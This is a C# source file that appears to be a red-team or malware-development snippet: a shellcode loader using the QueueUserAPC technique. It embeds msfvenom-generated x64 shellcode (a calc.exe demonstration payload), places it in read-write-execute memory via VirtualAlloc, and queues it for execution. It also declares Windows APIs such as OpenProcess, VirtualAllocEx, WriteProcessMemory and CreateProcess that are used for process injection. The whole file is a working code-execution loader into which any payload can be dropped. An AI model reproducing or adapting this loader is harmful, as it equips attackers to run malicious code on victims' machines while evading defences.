QueueUserAPC!Main.cs

using System;
using System.Reflection;
using Microsoft.CSharp;
using System.Diagnostics;
using System.Runtime.InteropServices;

public class Program
{
    public static void Main()
    {
    //  msfvenom -p windows/x64/exec CMD=calc.exe -f csharp
        byte[] sc = new byte[276] {
            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
            0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
            0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
            0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
            0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
            0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
            0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
            0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
            0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
            0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
            0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
            0x63,0x2e,0x65,0x78,0x65,0x00 };
        IntPtr resultPtr = VirtualAlloc(0, sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        IntPtr bytesWritten = IntPtr.Zero;
        Marshal.Copy(sc, 0, resultPtr, sc.Length);
        IntPtr ptr = QueueUserAPC(resultPtr, GetCurrentThread(), IntPtr.Zero);
        Console.WriteLine("Goodbye");

    }

    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;


    [Flags]
    public enum ProcessAccessFlags : uint
    {
        All = 0x001F0FFF,
        Terminate = 0x00000001,
        CreateThread = 0x00000002,
        VirtualMemoryOperation = 0x00000008,
        VirtualMemoryRead = 0x00000010,
        VirtualMemoryWrite = 0x00000020,
        DuplicateHandle = 0x00000040,
        CreateProcess = 0x000000080,
        SetQuota = 0x00000100,
        SetInformation = 0x00000200,
        QueryInformation = 0x00000400,
        QueryLimitedInformation = 0x00001000,
        Synchronize = 0x00100000
    }

    [Flags]
    public enum ProcessCreationFlags : uint
    {
        ZERO_FLAG = 0x00000000,
        CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
        CREATE_DEFAULT_ERROR_MODE = 0x04000000,
        CREATE_NEW_CONSOLE = 0x00000010,
        CREATE_NEW_PROCESS_GROUP = 0x00000200,
        CREATE_NO_WINDOW = 0x08000000,
        CREATE_PROTECTED_PROCESS = 0x00040000,
        CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
        CREATE_SEPARATE_WOW_VDM = 0x00001000,
        CREATE_SHARED_WOW_VDM = 0x00001000,
        CREATE_SUSPENDED = 0x00000004,
        CREATE_UNICODE_ENVIRONMENT = 0x00000400,
        DEBUG_ONLY_THIS_PROCESS = 0x00000002,
        DEBUG_PROCESS = 0x00000001,
        DETACHED_PROCESS = 0x00000008,
        EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
        INHERIT_PARENT_AFFINITY = 0x00010000
    }
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }
    public struct STARTUPINFO
    {
        public uint cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [Flags]
    public enum ThreadAccess : int
    {
        TERMINATE = (0x0001),
        SUSPEND_RESUME = (0x0002),
        GET_CONTEXT = (0x0008),
        SET_CONTEXT = (0x0010),
        SET_INFORMATION = (0x0020),
        QUERY_INFORMATION = (0x0040),
        SET_THREAD_TOKEN = (0x0080),
        IMPERSONATE = (0x0100),
        DIRECT_IMPERSONATION = (0x0200)
    }

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
        int dwThreadId);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(
        IntPtr hProcess,
        IntPtr lpBaseAddress,
        byte[] lpBuffer,
        int nSize,
        out IntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
    
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
         Int32 size, UInt32 flAllocationType, UInt32 flProtect);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
    Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr OpenProcess(
     ProcessAccessFlags processAccess,
     bool bInheritHandle,
     int processId
    );



    [DllImport("kernel32.dll")]
    public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
                            bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,
                           string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
    [DllImport("kernel32.dll")]
    public static extern uint ResumeThread(IntPtr hThread);
    [DllImport("kernel32.dll")]
    public static extern uint SuspendThread(IntPtr hThread);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
    int dwSize, uint flNewProtect, out uint lpflOldProtect);
    
    [DllImport("kernel32.dll")]
    private static extern IntPtr GetCurrentThread();

}